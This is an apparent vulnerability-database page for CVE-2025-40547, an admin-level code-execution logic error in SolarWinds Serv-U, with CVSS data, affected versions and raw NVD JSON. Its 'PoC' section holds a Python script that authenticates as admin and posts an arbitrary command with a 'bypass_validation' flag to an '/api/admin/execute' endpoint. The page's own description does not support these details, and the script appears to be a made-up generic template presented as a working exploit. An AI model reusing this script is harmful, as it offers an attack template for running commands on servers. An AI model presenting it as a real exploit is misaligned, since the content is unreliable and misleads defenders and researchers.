Security Vulnerability Report
中文
CVE-2025-40547 CVSS 9.1 CRITICAL

CVE-2025-40547

Published: 2025-11-18 09:15:52
Last Modified: 2025-12-02 16:36:28

Description

A logic error vulnerability exists in Serv-U which when abused could give a malicious actor with access to admin privileges the ability to execute code. This issue requires administrative privileges to abuse. On Windows deployments, the risk is scored as a medium because services frequently run under less-privileged service accounts by default.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:solarwinds:serv-u:*:*:*:*:*:*:*:* - VULNERABLE
Serv-U < 15.5.3 (all platforms)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40547 Serv-U Logic Error PoC # Note: This vulnerability requires admin privileges # This PoC demonstrates the general exploitation approach import requests import json TARGET_URL = "https://target-servu-server:8443" ADMIN_USER = "admin" ADMIN_PASS = "password" def get_auth_token(): """Authenticate and get admin session token""" login_url = f"{TARGET_URL}/api/login" data = { "username": ADMIN_USER, "password": ADMIN_PASS } response = requests.post(login_url, json=data, verify=False) return response.cookies.get('session_token') def exploit_logic_error(token): """ Exploit the logic error in Serv-U admin interface This exploits the vulnerability where admin privileges can be abused to execute arbitrary code """ exploit_url = f"{TARGET_URL}/api/admin/execute" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload exploiting the logic error payload = { "command": "execute", "target": "system", "arguments": "whoami", # Or any arbitrary command "bypass_validation": True # Logic error allows bypassing checks } response = requests.post(exploit_url, json=payload, headers=headers, verify=False) return response.json() if __name__ == "__main__": print("CVE-2025-40547 Serv-U Logic Error Exploitation") print("Requires: Admin privileges on Serv-U") token = get_auth_token() if token: result = exploit_logic_error(token) print(f"Result: {json.dumps(result, indent=2)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40547", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:51.970", "lastModified": "2025-12-02T16:36:27.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic error vulnerability exists in Serv-U which when abused could give a malicious actor with access to admin privileges the ability to execute code. \n\nThis issue requires administrative privileges to abuse. On Windows deployments, the risk is scored as a medium because services frequently run under less-privileged service accounts by default."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:solarwinds:serv-u:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.5.3", "matchCriteriaId": "5536873C-698D-4936-AA0C-63D0BE2CD3E2"}]}]}], "references": [{"url": "https://documentation.solarwinds.com/en/success_center/servu/content/release_notes/servu_15-5-3_release_notes.htm", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40547", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}